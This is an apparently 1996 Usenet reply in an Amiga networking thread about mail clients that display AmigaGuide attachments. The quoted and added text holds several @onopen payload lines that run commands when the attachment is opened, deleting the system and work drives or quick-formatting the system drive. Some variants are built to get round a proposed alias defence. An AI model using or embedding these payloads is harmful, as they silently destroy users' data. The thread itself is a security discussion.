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- From: snapper@mgl.ca (Allan Purtle)
- Newsgroups: comp.sys.amiga.programmer,comp.sys.amiga.networking
- Subject: Re: Best Mail Program for use with SLIP, SMTP, POP, AmiTCP?
- Followup-To: comp.sys.amiga.programmer,comp.sys.amiga.networking
- Date: 14 Jan 1996 21:45:48 GMT
- Organization: MGL Systems Internet
- Message-ID: <4dbtic$c4g@thunder.mgl.ca>
- References: <jdjiviqtgtf.fsf@neppari.cs.hut.fi> <1264.6579T945T2649@ipacific.net.au> <4crjnb$gr8@redstone.interpath.net> <54422@babylon.pfm-mainz.de> <4dac6m$8m6@news2.delphi.com>
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-
- Joanne Dow (jdow@BIX.com) wrote:
- : In article <54422@babylon.pfm-mainz.de>,
- : rbabel@babylon.pfm-mainz.de (Ralph Babel) wrote:
- : >Jim Cooper wrote:
- : >
- : >> Datatypes.
- : >>
- : >> If you send an AmigaGuide file as an EMail attachment, it
- : >> will show up in the Voodoo window *as* AmigaGuide - with
- : >> clickable buttons, etc!
- : >
- : >Good grief!
- : >
- : >What if someone received the following AmigaGuide attachment?
- : >
- : > @database
- : > @onopen "'address command ''delete sys:#? work:#? all quiet force'''"
- : > @node main
- : > @endnode
- : >
-
- : May I humbly suggest:
-
- : alias delete literal echo "You cannot do that!"
-
- : (Of course when you go offline you unalias it.)
-
- : THat IS a nasty prospect and one that people are starting to face with the
- : fancier browsers like Netscape. Netscape is a PRIME method for transporting
- : viruses that way.
-
- : {^_^} Joanne Dow, Amiga Exchange Editor on BIX, aka The Wizardess
- : jdow@bix.com, jdow@delphi.com, jdow@mci.newscorp.com
-
- @onopen "'address command ''SYS:C/delete sys:#? work:#? all quiet force'''"
-
- @onopen "'address command ''{which delete} sys:#? work:#? all quiet force'''"
-
- @onopen "'address command ''SYS:System/format >NIL: <NIL: wb_2.x: quick ofs'''" --
-
- Personally, I would just do a mount on unit zero and let you screw yourself over
- the course of the following "where did that come from" reactions.
-
- If you give the opportunity to execute on your machine, you deserve what you get.
- Generally speaking, single user operating systems are not condusive to secure
- connection to outside sources.
-
- Wait till you get a Java on your Amiga.... then I can run my own code on your
- machine easily, as opposed to having to do a bunch of work to do it via rexx. When
- you tell me my Java applet zapped your drive, I'll just say "oh, a bug, I'll have
- to fix that some day..."
-
-